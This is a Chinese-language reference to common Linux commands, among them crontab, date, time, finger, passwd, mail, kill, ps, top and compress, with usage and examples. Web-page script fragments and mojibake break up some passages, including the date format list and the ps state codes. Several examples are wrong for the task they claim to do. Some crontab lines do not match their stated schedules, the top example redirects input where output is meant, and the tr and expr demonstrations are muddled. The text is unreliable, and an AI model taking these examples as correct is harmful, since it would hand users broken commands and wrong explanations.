crontab 是用来让使用者在固定时间或固定间隔执行程式之用，换句话说，也就是类似使用者的时程表。-u user 是指设定指定 user 的时程表，这个前提是你必须要有其权限(比如说是 root)才能够指定他人的时程表。如果不使用 -u user 的话，就是表示设定自己的时程表。

餐数 :

-e : 执行文字编辑器来设定时程表，内定的文字编辑器是 VI，如果你想用别的文字编辑器，则请先设定 VISUAL 环境变数来指定使用那个文字编辑器(比如说 setenv VISUAL joe)
-r : 删除目前的时程表
-l : 列出目前的时程表

时程表的格式如下 :
f1 f2 f3 f4 f5 program

其中 f1 是表示分钟，f2 表示小时，f3 表示一个月份中的第几日，f4 表示月份，f5 表示一个星期中的第几天。program 表示要执行的程式。
当 f1 为 * 时表示每分钟都要执行 program，f2 为 * 时表示每小时都要执行程式，其余类推
当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行，f2 为 a-b 时表示从第 a 到第 b 小时都要执行，其余类推
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次，f2 为 */n 表示每 n 小时个时间间隔执行一次，其余类推
当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行，f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行，其余类推

使用者也可以将所有的设定先存放在档案 file 中，用 crontab file 的方式来设定时程表。
例子 :

每月每天每小时的第 0 分钟执行一次 /bin/ls :
0 7 * * * /bin/ls

在 12 月内, 每天的早上 6 点到 12 点中，每隔 20 分钟执行一次 /usr/bin/backup :
0 6-12/3 * 12 * /usr/bin/backup

周一到周五每天下午 5:00 寄一封信给 alex@domain.name :
0 17 * * 1-5 mail -s "hi" alex@domain.name < /tmp/maildata

每月每天的午夜 0 点 20 分, 2 点 20 分, 4 点 20 分....执行 echo "haha"
20 0-23/2 * * * echo "haha"

注意 :

当程式在你所指定的时间执行后，系统会寄一封信给你，显示该程式执行的内容，若是你不希望收到这样的信，请在每一行空一格之后加上 > /dev/null 2>&1 即可。

名称 : date
使用权限 : 所有使用者

使用方式 :

date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--date=datestr] [--set=datestr] [--help] [--version] [+FORMAT] [MMDDhhmm[[CC]YY][.ss]]

说明 :

date 可以用来显示或设定系统的日期与时间，在显示方面，使用者可以设定欲显示的格式，格式设定为一个加号后接数个标记，其中可用的标记列表如下 :

时间方面 :

% : 印出 %
%n : 下一行
%t : 跳格
%H : 小时(00..23)
%I : 小时(01..12)
%k : 小时(0..23)
%l : 小时(1..12)
%M : 分钟(00..59)
%p : 显示本地 AM 或 PM
%r : 直接显示时间 (12 小时制，格式为 hh:mmscreen.width-300)this.width=screen.width-300'>s [AP]M)
%s : 从 1970 年 1 月 1 日 00:00:00 UTC 到目前为止的秒数
%S : 秒(00..61)
%T : 直接显示时间 (24 小时制)
%X : 相当于 %H:%M:%S
%Z : 显示时区

日期方面 :
%a : 星期几 (Sun..Sat)
%A : 星期几 (Sunday..Saturday)
%b : 月份 (Jan..Dec)
%B : 月份 (January..December)
%c : 直接显示日期与时间
%d : 日 (01..31)
%D : 直接显示日期 (mm/dd/yy)
%h : 同 %b
%j : 一年中的第几天 (001..366)
%m : 月份 (01..12)
%U : 一年中的第几周 (00..53) (以 Sunday 为一周的第一天的情形)
%w : 一周中的第几天 (0..6)
%W : 一年中的第几周 (00..53) (以 Monday 为一周的第一天的情形)
%x : 直接显示日期 (mm/dd/yy)
%y : 年份的最后两位数字 (00.99)
%Y : 完整年份 (0000..9999)

若是不以加号作为开头，则表示要设定时间，而时间格式为 MMDDhhmm[[CC]YY][.ss]，其中 MM 为月份，DD 为日，hh 为小时，mm 为分钟，CC 为年份前两位数字，YY 为年份后两位数字，ss 为秒数
把计 :

-d datestr : 显示 datestr 中所设定的时间 (非系统时间)
--help : 显示辅助讯息
-s datestr : 将系统时间设为 datestr 中所设定的时间
-u : 显示目前的格林威治时间
--version : 显示版本编号

例子 :
显示时间后跳行，再显示目前日期 :
date +%T%n%D

显示月份与日数 :
date +%B %d

显示日期与设定时间(12:34:56) :
date --date 12:34:56

注意 :

当你不希望出现无意义的 0 时(比如说 1999/03/07)，则可以在标记中插入 - 符号，比如说 date +%-H:%-M:%-S 会把时分秒中无意义的 0 给去掉，像是原本的 08:09:04 会变为 8:9:4。另外，只有取得权限者(比如说 root)才能设定系统时间。

当你以 root 身分更改了系统时间之后，请记得以 clock -w 来将系统时间写入 CMOS 中，这样下次重新开机时系统时间才会持续抱持最新的正确值。

名称 : sleep
使用权限 : 所有使用者

使用方式 : sleep [--help] [--version] number[smhd]

说明 : sleep 可以用来将目前动作延迟一段时间

参数说明 :

--help : 显示辅助讯息
--version : 显示版本编号
number : 时间长度，后面可接 s、m、h 或 d
其中 s 为秒，m 为 分钟，h 为小时，d 为日数

例子 :
显示目前时间后延迟 1 分钟，之后再次显示时间 :
date;sleep 1m;date

名称： time
使用权限： 所有使用者

使用方式： time [options] COMMAND [arguments]

说明： time 指令的用途，在于量测特定指令执行时所需消耗的时间及系统资源等资讯。例如 CPU 时间、记忆体、输入输出等等。需要特别注意的是，部分资讯在 Linux 上显示不出来。这是因为在 Linux 上部分资源的分配函式与 time 指令所预设的方式并不相同，以致于 time 指令无法取得这些资料。

把计

-o or --output=FILE
设定结果输出档。这个选项会将 time 的输出写入 所指定的档案中。如果档案已经存在，系统将覆写其内容。
-a or --append
配合 -o 使用，会将结果写到档案的末端，而不会覆盖掉原来的内容。
-f FORMAT or --format=FORMAT
以 FORMAT 字串设定显示方式。当这个选项没有被设定的时候，会用系统预设的格式。不过你可以用环境变数 time 来设定这个格式，如此一来就不必每次登入系统都要设定一次。
一般设定上，你可以用
t
表示跳栏，或者是用
n
表示换行。每一项资料要用 % 做为前导。如果要在字串中使用百分比符号，就用 。（学过 C 语言的人大概会觉得很熟悉）
time 指令可以显示的资源有四大项，分别是：

Time resources
Memory resources
IO resources
Command info

详细的内容如下：

Time Resources
E 执行指令所花费的时间，格式是：[hour]:minutescreen.width-300)this.width=screen.width-300'>econd。请注意这个数字并不代表实际的 CPU 时间。
e 执行指令所花费的时间，单位是秒。请注意这个数字并不代表实际的 CPU 时间。
S 指令执行时在核心模式（kernel mode）所花费的时间，单位是秒。
U 指令执行时在使用者模式（user mode）所花费的时间，单位是秒。
P 执行指令时 CPU 的占用比例。其实这个数字就是核心模式加上使用者模式的 CPU 时间除以总时间。

Memory Resources
M 执行时所占用的实体记忆体的最大值。单位是 KB
t 执行时所占用的实体记忆体的平均值，单位是 KB
K 执行程序所占用的记忆体总量（stack+data+text）的平均大小，单位是 KB
D 执行程序的自有资料区（unshared data area）的平均大小，单位是 KB
p 执行程序的自有堆叠（unshared stack）的平均大小，单位是 KB
X 执行程序间共享内容（shared text）的平均值，单位是 KB
Z 系统记忆体页的大小，单位是 byte。对同一个系统来说这是个常数

IO Resources
F 此程序的主要记忆体页错误发生次数。所谓的主要记忆体页错误是指某一记忆体页已经置换到置换档（swap file)中，而且已经分配给其他程序。此时该页的内容必须从置换档里再读出来。
R 此程序的次要记忆体页错误发生次数。所谓的次要记忆体页错误是指某一记忆体页虽然已经置换到置换档中，但尚未分配给其他程序。此时该页的内容并未被破坏，不必从置换档里读出来
W 此程序被交换到置换档的次数
c 此程序被强迫中断（像是分配到的 CPU 时间耗尽）的次数
w 此程序自愿中断（像是在等待某一个 I/O 执行完毕，像是磁碟读取等等）的次数
I 此程序所输入的档案数
O 此程序所输出的档案数
r 此程序所收到的 Socket Message
s 此程序所送出的 Socket Message
k 此程序所收到的信号 ( Signal )数量

Command Info
C 执行时的参数以及指令名称
x 指令的结束代码 ( Exit Status )

-p or --portability
这个选项会自动把显示格式设定成为：
real %e
user %U
sys %S
这么做的目的是为了与 POSIX 规格相容。
-v or --verbose
这个选项会把所有程式中用到的资源通通列出来，不但如一般英文语句，还有说明。对不想花时间去熟习格式设定或是刚刚开始接触这个指令的人相当有用。

范例：
利用下面的指令
time -v ps -aux

我们可以获得执行 ps -aux 的结果和所花费的系统资源。如下面所列的资料：
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 1096 472 ? S Apr19 0:04 init
root 2 0.0 0.0 0 0 ? SW Apr19 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Apr19 0:00 [kpiod]
......
root 24269 0.0 1.0 2692 996 pts/3 R 12:16 0:00 ps -aux

Command being timed: "ps -aux"
User time (seconds): 0.05
System time (seconds): 0.06
Percent of CPU this job got: 68%
Elapsed (wall clock) time (h:mmscreen.width-300)this.width=screen.width-300'>s or mscreen.width-300)this.width=screen.width-300'>s): 0:00.16
Average shared text size (kbytes): 0
Average unshared data size (kbytes): 0
Average stack size (kbytes): 0
Average total size (kbytes): 0
Maximum resident set size (kbytes): 0
Average resident set size (kbytes): 0
Major (requiring I/O) page faults: 238
Minor (reclaiming a frame) page faults: 46
Voluntary context switches: 0
Involuntary context switches: 0
Swaps: 0
File system inputs: 0
File system outputs: 0
Socket messages sent: 0
Socket messages received: 0
Signals delivered: 0
Page size (bytes): 4096
Exit status: 0

名称： uptime
使用权限： 所有使用者
使用方式： uptime [-V]
说明： uptime 提供使用者下面的资讯，不需其他参数：

现在的时间
系统开机运转到现在经过的时间
连线的使用者数量
最近一分钟，五分钟和十五分钟的系统负载
参数： -V 显示版本资讯。
范例： uptime
其结果为：
10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99

名称：chfn

使用权限：所有使用者

用法：shell>> chfn

说明：提供使用者更改个人资讯，用于 finger and mail username

范例：

shell>> chfn
Changing finger information for user
Password: [del]
Name[]:Johnney Huang ### 提供 finger 时的资料
Office[]:NCCU
Office Phone[]: [del]
Home Phone[]: [del]

名称：chsh

使用权限：所有使用者

用法：shell>> chsh

说明：更改使用者 shell 设定

范例：

shell>> chsh
Changing fihanging shell for user1
Password: [del]
New shell [/bin/tcsh]: ### [是目前使用的 shell]
[del]

shell>> chsh -l ### 展示 /etc/shells 档案内容
/bin/bash
/bin/sh
/bin/ash
/bin/bsh
/bin/tcsh
/bin/csh

” finger [返回]
名称： finger
使用权限： 所有使用者

使用方式： finger [options] user[@address]

说明：finger 可以让使用者查询一些其他使用者的资料。会列出来的资料有：

Login Name
User Name
Home directory
Shell
Login status
mail status
.plan
.project
.forward

其中 .plan ，.project 和 .forward 就是使用者在他的 Home Directory 里的 .plan ， .project 和 .forward 等档案里的资料。如果没有就没有。finger 指令并不限定于在同一伺服器上查询，也可以寻找某一个远端伺服器上的使用者。只要给一个像是 E-mail address 一般的地址即可。
把计

-l
多行显示。

-s
单行显示。这个选项只显示登入名称，真实姓名，终端机名称，闲置时间，登入时间，办公室号码及电话号码。如果所查询的使用者是远端伺服器的使用者，这个选项无效。

范例：下列指令可以查询本机管理员的资料：
finger root

其结果如下：
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.

名称：last

使用权限：所有使用者

使用方式：shell>> last [options]

说明：显示系统开机以来获是从每月初登入者的讯息

把计

-R 省略 hostname 的栏位
-num 展示前 num 个
username 展示 username 的登入讯息
tty 限制登入讯息包含终端机代号

范例：

shell>> last -R -2
johnney pts/1 Mon Aug 14 20:42 still logged in
johnney pts/0 Mon Aug 14 19:59 still logged in

wtmp begins Tue Aug 1 09:01:10 2000 ### /var/log/wtmp

shell>> last -2 minery
minery pts/0 140.119.217.115 Mon Aug 14 18:37 - 18:40 (00:03)
minery pts/0 140.119.217.115 Mon Aug 14 17:22 - 17:24 (00:02)

wtmp begins Tue Aug 1 09:01:10 2000

名称:login

这个命令都不会就不要干算了！呵呵我也不在这里多费笔墨耽误大家美好青春了^_^

名称：passwd

使用权限：所有使用者

使用方式：passwd [-k] [-l] [-u [-f]] [-d] [-S] [username]

说明：用来更改使用者的密码

参数：
-k

-l

-u

-f

-d 关闭使用者的密码认证功能, 使用者在登入时将可以不用输入密码, 只有具备 root 权限的使用者方可使用.

-S 显示指定使用者的密码认证种类, 只有具备 root 权限的使用者方可使用.

[username] 指定帐号名称.

名称 : who
使用权线 : 所有使用者都可使用

使用方式 : who - [husfV] [user]

说明 : 显示系统中有那些使用者正在上面，显示的资料包含了使用者 ID，使用的终端机，从那边连上来的，上线时间，呆滞时间，CPU 使用量，动作等等。

把计 :

-h : 不要显示标题列
-u : 不要显示使用者的动作/工作
-s : 使用简短的格式来显示
-f : 不要显示使用者的上线位置
-V : 显示程式版本
名称：/etc/aliases
使用权限：系统管理者
使用方式： 请用 newaliases 更新资料库
说明：
sendmail 会使用一个在 /etc/aliases 中的档案做使用者名称转换的动作。当 sendmail 收到一个要送给 xxx 的信时，它会依据 aliases档的内容送给另一个使用者。这个功能可以创造一个只有在信件系统内才有效的使用者。例如 mailing list 就会用到这个功能，在 mailinglist 中，我们可能会创造一个叫 redlinux@link.ece.uci.edu 的 mailinglist，但实际上并没有一个叫 redlinux 的使用者。实际 aliases 档的内容是将送给这个使用者的信都收给 mailing list 处理程式负责分送的工作。

/etc/aliases 是一个文字模式的档案，sendmail 需要一个二进位格式的 /etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一个 sendmail 所能了解的资料库。范例：
# newaliases

下面命令会做相同的事，
# sendmail -bi

相关命令:
mail, mailq, newaliases, sendmail

” mail [返回]
名称：mail

使用权限：所有使用者

使用方式：mail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] user1 [user 2 ...]

说明：
mail 不仅只是一个指令， mail 还是一个电子邮件程式，不过利用 mail 来读信的人应该很少吧！对于系统管理者来说 mail 就很有用，因为管理者可以用 mail 写成 script ，定期寄一些备忘录提醒系统的使用者。

参数：
i 忽略 tty 的中断讯号。 (interrupt)
I 强迫设成互动模式。 (Interactive)
v 列印出讯息，例如送信的地点、状态等等。 (verbose)
n 不读入 mail.rc 设定档。
s 邮件标题。
c cc 邮件地址。
b bcc 邮件地址。

范例：

将信件送给一个或以上的电子邮件地址，由于没有加入其他的选项，使用者必须输入标题与信件的内容等。而 user2 没有主机位置，就会送给邮件伺服器的 user2 使用者。

mail user1@email.address
mail user1@email.address user2

将 mail.txt 的内容寄给 user2 同时 cc 给 user1 。如果将这一行指令设成 cronjob 就可以定时将备忘录寄给系统使用者。

mail -s 标题 -c user1 user2 < mail.txt

指令：mesg
使用权限 : 所有使用者

使用方式 : mesg [y|n]

说明 ： 决定是否允许其他人传讯息到自己的终端机介面

把计 

y : 允许讯息传到终端机介面上。
n : 不允许讯息传到终端机介面上 。
如果没有设定，则讯息传递与否则由终端机界面目前状态而定。

例子 :
改变目前讯息设定，改成不允许讯息传到终端机介面上 :
mesg n

与 mesg 相关的指令有： talk，write，wall。

名称：/etc/aliases
使用权限：系统管理者
使用方式： newaliases
说明：
sendmail 会使用一个在 /etc/aliases 中的档案做使用者名称转换的动作。当 sendmail 收到一个要送给 xxx 的信时，它会依据 aliases档的内容送给另一个使用者。这个功能可以创造一个只有在信件系统内才有效的使用者。例如 mailing list 就会用到这个功能，在 mailinglist 中，我们可能会创造一个叫 redlinux@link.ece.uci.edu 的 mailinglist，但实际上并没有一个叫 redlinux 的使用者。实际 aliases 档的内容是将送给这个使用者的信都收给 mailing list 处理程式负责分送的工作。

/etc/aliases 是一个文字模式的档案，sendmail 需要一个二进位格式的 /etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一个 sendmail 所能了解的资料库。

参数：没有任何参数。 范例：
# newaliases

下面命令会做相同的事，
# sendmail -bi

相关命令:
mail, mailq, newaliases, sendmail

名称 : talk
使用权限 : 所有使用者

使用方式 :

talk person [ttyname]
说明 : 与其他使用者对谈

把计 :

person : 预备对谈的使用者帐号，如果该使用者在其他机器上，则可输入 person@machine.name
ttyname : 如果使用者同时有两个以上的 tty 连线，可以自行选择合适的 tty 传讯息

例子.1 :

与现在机器上的使用者Rollaend对谈，此时 Rollaend 只有一个连线 :
talk Rollaend

接下来就是等Rollaend回应，若Rollaend接受，则Rollaend输入 ****talk jzlee****即可开始对谈，结束请按 ctrl+c

例子.2 :与linuxfab.cx上的使用者Rollaend对谈，使用pts/2来对谈 :
talk Rollaend@linuxfab.cx pts/2

接下来就是等Rollaend回应，若Rollaend接受，则Rollaend输入 ****talk jzlee@jzlee.home****即可开始对谈，结束请按 ctrl+c

注意 : 若萤幕的字会出现不正常的字元，试着按 ctrl+l 更新萤幕画面。

名称 : wall
使用权限 : 所有使用者

使用方式 :

wall [ message ]
使用说明：
wall 会将讯息传给每一个 mesg 设定为 yes 的上线使用者。当使用终端机介面做为标准传入时, 讯息结束时需加上 EOF (通常用 Ctrl+D)

例子 :

传讯息"hi" 给每一个使用者 :
wall hi

名称 : write
使用权限 : 所有使用者

使用方式 :

write user [ttyname]
说明 : 传讯息给其他使用者

把计 :

user : 预备传讯息的使用者帐号
ttyname : 如果使用者同时有两个以上的 tty 连线，可以自行选择合适的 tty 传讯息

例子.1 :

传讯息给 Rollaend，此时 Rollaend 只有一个连线 :
write Rollaend

接下来就是将讯息打上去，结束请按 ctrl+c

例子.2 :传讯息给 Rollaend，Rollaend 的连线有 pts/2，pts/3 :
write Rollaend pts/2

接下来就是将讯息打上去，结束请按 ctrl+c

注意 : 若对方设定 mesg n，则此时讯席将无法传给对方

名称：kill
使用权限：所有使用者

使用方式：

kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
说明：kill 送出一个特定的信号 (signal) 给行程 id 为 pid 的行程根据该信号而做特定的动作, 若没有指定, 预设是送出终止 (TERM) 的信号
把计

-s (signal) : 其中可用的讯号有 HUP (1), KILL (9), TERM (15), 分别代表着重跑, 砍掉, 结束; 详细的信号可以用 kill -l
-p : 印出 pid , 并不送出信号
-l (signal) : 列出所有可用的信号名称
范例：

将 pid 为 323 的行程砍掉 (kill) :
kill -9 323

将 pid 为 456 的行程重跑 (restart) :
kill -HUP 456

名称：nice
使用权限：所有使用者

使用方式：nice [-n adjustment] [-adjustment] [--adjustment=adjustment] [--help] [--version] [command [arg...]]

说明：以更改过的优先序来执行程式, 如果未指定程式, 则会印出目前的排程优先序, 内定的 adjustment 为 10, 范围为 -20 (最高优先序) 到 19 (最低优先序)

把计

-n adjustment, -adjustment, --adjustment=adjustment 皆为将该原有优先序的增加 adjustment
--help 显示求助讯息
--version 显示版本资讯
范例：
将 ls 的优先序加 1 并执行 :
nice -n 1 ls

将 ls 的优先序加 10 并执行 :
nice ls将 ls 的优先序加 10 并执行

注意 : 优先序 (priority) 为作业系统用来决定 CPU 分配的参数，Linux 使用『回合制(round-robin)』的演算法来做 CPU 排程，优先序越高，所可能获得的 CPU时间就越多。

名称：ps
使用权限：所有使用者
使用方式：ps [options] [--help]
说明：显示瞬间行程 (process) 的动态
参数：
ps 的参数非常多, 在此仅列出几个常用的参数并大略介绍含义
-A 列出所有的行程
-w 显示加宽可以显示较多的资讯
-au 显示较详细的资讯
-aux 显示所有包含其他使用者的行程

au(x) 输出格式 :

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
USER: 行程拥有者
PID: pid
%CPU: 占用的 CPU 使用率
%MEM: 占用的记忆体使用率
VSZ: 占用的虚拟记忆体大小
RSS: 占用的记忆体大小
TTY: 终端的次要装置号码 (minor device number of tty)
STAT: 该行程的状态:
D: 不可中断的静止 (通悸□□缜b进行 I/O 动作)
R: 正在执行中
S: 静止状态
T: 暂停执行
Z: 不存在但暂时无法消除
W: 没有足够的记忆体分页可分配
<: 高优先序的行程
N: 低优先序的行程
L: 有记忆体分页分配并锁在记忆体内 (即时系统或捱A I/O)
START: 行程开始时间
TIME: 执行的时间
COMMAND:所执行的指令

范例：

ps
PID TTY TIME CMD
2791 ttyp0 00:00:00 tcsh
3092 ttyp0 00:00:00 ps
% ps -A
PID TTY TIME CMD
1 ? 00:00:03 init
2 ? 00:00:00 kflushd
3 ? 00:00:00 kpiod
4 ? 00:00:00 kswapd
5 ? 00:00:00 mdrecoveryd
.......
% ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 1096 472 ? S Sep10 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW Sep10 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Sep10 0:00 [kpiod]
root 4 0.0 0.0 0 0 ? SW Sep10 0:00 [kswapd]
名称：pstree
使用权限：所有使用者
使用方式：
pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-G|-U] [pid|user]
pstree -V
说明：将所有行程以树状图显示, 树状图将会以 pid (如果有指定) 或是以 init 这个基本行程为根 (root) ,如果有指定使用者 id , 则树状图会只显示该使用者所拥有的行程
参数：
-a 显示该行程的完整指令及参数, 如果是被记忆体置换出去的行程则会加上括号
-c 如果有重覆的行程名, 则分开列出 (预设值是会在前面加上 *
范例：

pstree

init-+-amd
|-apmd
|-atd
|-httpd---10*[httpd]
%pstree -p
init(1)-+-amd(447)
|-apmd(105)
|-atd(339)
%pstree -c
init-+-amd
|-apmd
|-atd
|-httpd-+-httpd
| |-httpd
| |-httpd
| |-httpd
....

名称：renice
使用权限：所有使用者

使用方式：renice priority [[-p] pid ...] [[-g] pgrp ...] [[-u] user ...]

说明：重新指定一个或多个行程(Process)的优先序(一个或多个将根据所下的参数而定)

把计

-p pid 重新指定行程的 id 为 pid 的行程的优先序
-g pgrp 重新指定行程群组(process group)的 id 为 pgrp 的行程 (一个或多个) 的优先序
-u user 重新指定行程拥有者为 user 的行程的优先序
范例：
将行程 id 为 987 及 32 的行程与行程拥有者为 daemon 及 root 的优先序号码加 1 :
renice +1 987 -u daemon root -p 32

注意 : 每一个行程(Process)都有一个唯一的 (unique) id

名称：top
使用权限：所有使用者

使用方式：top [-] [d delay] [q] [c] [S] [s] [i] [n] [b]

说明：即时显示 process 的动态

把计

d : 改变显示的更新速度，或是在交谈式指令列( interactive command)按 s
q : 没有任何延迟的显示速度，如果使用者是有 superuser 的权限，则 top 将会以最高的优先序执行
c : 切换显示模式，共有两种模式，一是只显示执行档的名称，另一种是显示完整的路径与名称S : 累积模式，会将己完成或消失的子行程 ( dead child process ) 的 CPU time 累积起来
s : 安全模式，将交谈式指令取消, 避免潜在的危机
i : 不显示任何闲置 (idle) 或无用 (zombie) 的行程
n : 更新的次数，完成后将会退出 top
b : 批次档模式，搭配 "n" 参数一起使用，可以用来将 top 的结果输出到档案内

范例：
显示更新十次后退出 ;
top -n 10

使用者将不能利用交谈式指令来对行程下命令 :
top -s

将更新显示二次的结果输入到名称为 top.log 的档案里 :
top -n 2 -b < top.log

名称：skill

使用权限：所有使用者

使用方式： skill [signal to send] [options] 选择程序的规则

说明：

送个讯号给正在执行的程序,预设的讯息为 TERM (中断) , 较常使用的讯息为 HUP , INT , KILL , STOP , CONT ,和 0

讯息有三种写法:分别为 -9 , -SIGKILL , -KILL , 可以使用 -l 或 -L 已列出可使用的讯息。

一般参数：

-f 快速模式/尚未完成

-i 互动模式/ 每个动作将要被确认

-v 详细输出/ 列出所选择程序的资讯

-w 智能警告讯息/ 尚未完成

-n 没有动作/ 显示程序代号

参数：选择程序的规则可以是, 终端机代号,使用者名称,程序代号,命令名称。

-t 终端机代号 ( tty 或 pty )

-u 使用者名称

-p 程序代号 ( pid )

-c 命令名称 可使用的讯号:

以下列出已知的讯号名称,讯号代号,功能。

名称 (代号) 功能/ 描述

ALRM 14 离开

HUP 1 离开

INT 2 离开

KILL 9 离开/ 强迫关闭

PIPE 13 离开

POLL 离开

PROF 离开

TERM 15 离开

USR1 离开

USR2 离开

VTALRM 离开

STKFLT 离开/ 只适用于i386, m68k, arm 和 ppc 硬体

UNUSED 离开/ 只适用于i386, m68k, arm 和 ppc 硬体

TSTP 停止 /产生与内容相关的行为

TTIN 停止 /产生与内容相关的行为

TTOU 停止 /产生与内容相关的行为

STOP 停止 /强迫关闭

CONT 从新启动 /如果在停止状态则从新启动,否则忽略

PWR 忽略 /在某些系统中会离开

WINCH 忽略

CHLD 忽略

ABRT 6 核心

FPE 8 核心

ILL 4 核心

QUIT 3 核心

SEGV 11 核心

TRAP 5 核心

SYS 核心 /或许尚未实作

EMT 核心 /或许尚未实作

BUS 核心 /核心失败

XCPU 核心 /核心失败

XFSZ 核心 /核心失败

范例：

停止所有在 PTY 装置上的程序
skill -KILL -v pts/*

停止三个使用者 user1 , user2 , user3
skill -STOP user1 user2 user3

其他相关的命令: kill

名称：expr

使用权限：所有使用者
### 字串长度

shell>> expr length "this is a test"
14

### 数字商数

shell>> expr 14 % 9
5

### 从位置处抓取字串

shell>> expr substr "this is a test" 3 5
is is

### 数字串 only the first character

shell>> expr index "testforthegame" e
2

### 字串真实重现

shell>> expr quote thisisatestformela
thisisatestformela

名称: tr

### 1.比方说要把目录下所有的大写档名换为小写档名?

似乎有很多方式，"tr"是其中一种:

#!/bin/sh

dir="/tmp/testdir";
files=****find $dir -type f****;
for i in $files
do
dir_name=****dirname $i****;
ori_filename=****basename $i****
new_filename=****echo $ori_filename | tr [:upper:] [:lower:]**** > /dev/null;
#echo $new_filename;
mv $dir_name/$ori_filename $dir_name/$new_filename
done

### 2.自己试验中...lowercase to uppercase

tr abcdef...[del] ABCDE...[del]
tr a-z A-Z
tr [:lower:] [:upper:]

shell>> echo "this is a test" | tr a-z A-Z > www
shell>> cat www
THIS IS A TEST

### 3.去掉不想要的字串

shell>> tr -d this ### 去掉有关 t.e.s.t
this

man
man
test
e

### 4.取代字串

shell>> tr -s "this" "TEST"
this
TEST
th
TE

指令：clear
用途：清除萤幕用。

使用方法：在 console 上输入 clear。

名称: reset, tset
使用方法: tset [-IQqrs] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal]

使用说明:

reset 其实和 tset 是一同个命令，它的用途是设定终端机的状态。一般而言，这个命令会自动的从环境变数、命令列或是其它的组态档决定目前终端机的型态。如果指定型态是 ? 的话，这个程式会要求使用者输入终端机的型别。

由于这个程式会将终端机设回原始的状态，除了在 login 时使用外，当系统终端机因为程式不正常执行而进入一些奇怪的状态时，你也可以用它来重设终端机o 例如不小心把二进位档用 cat 指令进到终端机，常会有终端机不再回应键盘输入，或是回应一些奇怪字元的问题。此时就可以用 reset 将终端机回复至原始状态。选项说明:

-p
将终端机类别显示在萤幕上，但不做设定的动作。这个命令可以用来取得目前终端机的类别。
-e ch
将 erase 字元设成 ch
-i ch
将中断字元设成 ch
-k ch
将删除一行的字元设成 ch
-I
不要做设定的动作，如果没有使用选项 -Q 的话，erase、中断及删除字元的目前值依然会送到萤幕上。
-Q
不要显示 erase、中断及删除字元的值到萤幕上。
-r
将终端机类别印在萤幕上。
-s
将设定 TERM 用的命令用字串的型式送到终端机中，通常在 .login 或 .profile 中用
范例:
让使用者输入一个终端机型别并将终端机设到该型别的预设状态。
# reset ?

将 erase 字元设定 control-h
# reset -e ^B

将设定用的字串显示在萤幕上
# reset -s
Erase is control-B (^B).
Kill is control-U (^U).
Interrupt is control-C (^C).
TERM=xterm;

名称：compress

使用权限：所有使用者

使用方式：compress [-dfvcV] [-b maxbits] [file ...]

说明：
compress 是一个相当古老的 unix 档案压缩指令，压缩后的档案会加上一个 .Z 延伸档名以区别未压缩的档案，压缩后的档案可以以 uncompress 解压。若要将数个档案压成一个压缩档，必须先将档案 tar 起来再压缩。由于 gzip 可以产生更理想的压缩比例，一般人多已改用 gzip 为档案压缩工具。

参数：
c 输出结果至标准输出设备（一般指荧幕）
f 强迫写入档案，若目的档已经存在，则会被覆盖 (force)
v 将程式执行的讯息印在荧幕上 (verbose)
b 设定共同字串数的上限，以位元计算，可以设定的值为 9 至 16 bits 。由于值越大，能使用的共同字串就 越多，压缩比例就越大，所以一般使用预设值 16 bits (bits)
d 将压缩档解压缩
V 列出版本讯息

范例：

将 source.dat 压缩成 source.dat.Z ，若 source.dat.Z 已经存在，内容则会被压缩档覆盖。

compress -f source.dat

将 source.dat 压缩成 source.dat.Z ，并列印出压缩比例。
-v 与 -f 可以一起使用

compress -vf source.dat

将压缩后的资料输出后再导入 target.dat.Z 可以改变压缩档名。

compress -c source.dat > target.dat.Z

-b 的值越大，压缩比例就越大，范围是 9-16 ，预设值是 16 。

compress -b 12 source.dat

将 source.dat.Z 解压成 source.dat ，若档案已经存在，使用者按 y 以确定覆盖档案，若使用 -df 程式则会自动覆盖档案。由于系统会自动加入 .Z 为延伸档名，所以 source.dat 会自动当作 source.dat.Z 处理。

compress -d source.dat
compress -d source.dat.Z

名称： lpd

使用权限： 所有使用者

使用方式：lpd [-l] [#port]
lpd 是一个常驻的印表机管理程式，它会根据 /etc/printcap 的内容来管理本地或远端的印表机。/etc/printcap 中定义的每一个印表机必须在 /var/lpd 中有一个相对应的目录，目录中以 cf 开头的档案表示一个等待送到适当装置的印表工作。这个档案通常是由 lpr 所产生。

lpr 和 lpd 组成了一个可以离线工作的系统，当你使用 lpr 时，印表机不需要能立即可用，甚至不用存在。lpd 会自动监视印表机的状况，当印表机上线后，便立即将档案送交处理。这个得所有的应用程式不必等待印表机完成前一工作。

参数：

-l: 将一些除错讯息显示在标准输出上。
#port: 一般而言，lpd 会使用 getservbyname 取得适当的 TCP/IP port，你可以使用这个参数强迫 lpd 使用指定的 port。

范例：
这个程式通常是由 /etc/rc.d 中的程式在系统启始阶段执行。

名称 lpq
-- 显示列表机贮列中未完成的工作 用法

lpq [l] [P] [user]

说明
lpq 会显示由 lpd 所管理的列表机贮列中未完成的项目。

范例
范例 1. 显示所有在 lp 列表机贮列中的工作

# lpq -PlpRank Owner Job Files Total Size1st root 238 (standard input) 1428646 bytes

相关函数
lpr,lpc,lpd

名称： lpr

使用权限： 所有使用者

使用方式：lpr [ -P printer ]
将档案或是由标准输入送进来的资料送到印表机贮列之中，印表机管理程式 lpd 会在稍后将这个档案送给适当的程式或装置处理。lpr 可以用来将料资送给本地或是远端的主机来处理。

参数：

